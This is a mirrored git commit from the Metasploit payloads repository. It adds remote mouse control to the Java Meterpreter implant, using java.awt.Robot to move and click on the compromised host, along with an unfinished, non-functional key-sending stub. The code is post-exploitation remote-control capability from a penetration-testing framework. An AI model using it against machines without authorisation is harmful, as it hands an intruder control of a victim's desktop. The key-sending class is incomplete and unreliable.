1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00

java mouse

This commit is contained in:
Tim W 2019-06-10 15:26:05 +08:00
parent 48171ecc48
commit b86548b8d6
6 changed files with 113 additions and 3 deletions

View File

@ -173,9 +173,13 @@ public interface TLVType {
public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550;
// Ui
public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000;
public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001;
public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002;
public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000;
public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001;
public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002;
public static final int TLV_TYPE_KEYS_SEND = TLVPacket.TLV_META_TYPE_STRING | 3014;
public static final int TLV_TYPE_MOUSE_ACTION = TLVPacket.TLV_META_TYPE_UINT | 3015;
public static final int TLV_TYPE_MOUSE_X = TLVPacket.TLV_META_TYPE_UINT | 3016;
public static final int TLV_TYPE_MOUSE_Y = TLVPacket.TLV_META_TYPE_UINT | 3017;
// Event Log
public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000;

View File

@ -51,6 +51,7 @@ public class Loader implements ExtensionLoader {
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3);
mgr.registerCommand("stdapi_sys_process_get_processes", stdapi_sys_process_get_processes.class, V1_2);
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4);
mgr.registerCommand("stdapi_ui_send_mouse", stdapi_ui_send_mouse.class, V1_4);
mgr.registerCommand("webcam_audio_record", webcam_audio_record.class, V1_4);
}
}

View File

@ -0,0 +1,5 @@
package com.metasploit.meterpreter.stdapi;
// Dummy class
public class stdapi_ui_send_keys {
}

View File

@ -0,0 +1,44 @@
package com.metasploit.meterpreter.stdapi;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import javax.imageio.IIOImage;
import javax.imageio.ImageIO;
import javax.imageio.ImageWriteParam;
import javax.imageio.ImageWriter;
import java.awt.*;
import java.awt.event.KeyEvent;
import java.io.ByteArrayOutputStream;
public class stdapi_ui_send_keys_V1_4 extends stdapi_ui_send_keys implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String keyString = request.getStringValue(TLVType.TLV_TYPE_KEYS_SEND);
return ERROR_SUCCESS;
}
private void pressKeyString(String keyString) throws AWTException {
Robot robot = new Robot();
// for (int i=0;i<keyString.length();i++) {
//
//
// }
}
private void pressUnicode(Robot r, int key_code)
{
r.keyPress(KeyEvent.VK_ALT);
for(int i = 3; i >= 0; --i)
{
// extracts a single decade of the key-code and adds
// an offset to get the required VK_NUMPAD key-code
int numpad_kc = key_code / (int) (Math.pow(10, i)) % 10 + KeyEvent.VK_NUMPAD0;
r.keyPress(numpad_kc);
r.keyRelease(numpad_kc);
}
r.keyRelease(KeyEvent.VK_ALT);
}
}

View File

@ -0,0 +1,5 @@
package com.metasploit.meterpreter.stdapi;
// Dummy class
public class stdapi_ui_send_mouse {
}

View File

@ -0,0 +1,51 @@
package com.metasploit.meterpreter.stdapi;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import java.awt.Robot;
import java.awt.event.InputEvent;
public class stdapi_ui_send_mouse_V1_4 extends stdapi_ui_send_mouse implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int action = request.getIntValue(TLVType.TLV_TYPE_MOUSE_ACTION);
int x = request.getIntValue(TLVType.TLV_TYPE_MOUSE_X);
int y = request.getIntValue(TLVType.TLV_TYPE_MOUSE_Y);
Robot robot = new Robot();
if (x != -1 && y != -1) {
robot.mouseMove(x, y);
}
switch (action) {
case 1:
robot.mousePress(InputEvent.BUTTON1_DOWN_MASK);
robot.delay(100);
robot.mouseRelease(InputEvent.BUTTON1_DOWN_MASK);
break;
case 2:
robot.mousePress(InputEvent.BUTTON1_DOWN_MASK);
break;
case 3:
robot.mouseRelease(InputEvent.BUTTON1_DOWN_MASK);
break;
case 4:
robot.mousePress(InputEvent.BUTTON2_DOWN_MASK);
robot.delay(100);
robot.mouseRelease(InputEvent.BUTTON2_DOWN_MASK);
break;
case 5:
robot.mousePress(InputEvent.BUTTON2_DOWN_MASK);
break;
case 6:
robot.mouseRelease(InputEvent.BUTTON2_DOWN_MASK);
break;
}
return ERROR_SUCCESS;
}
}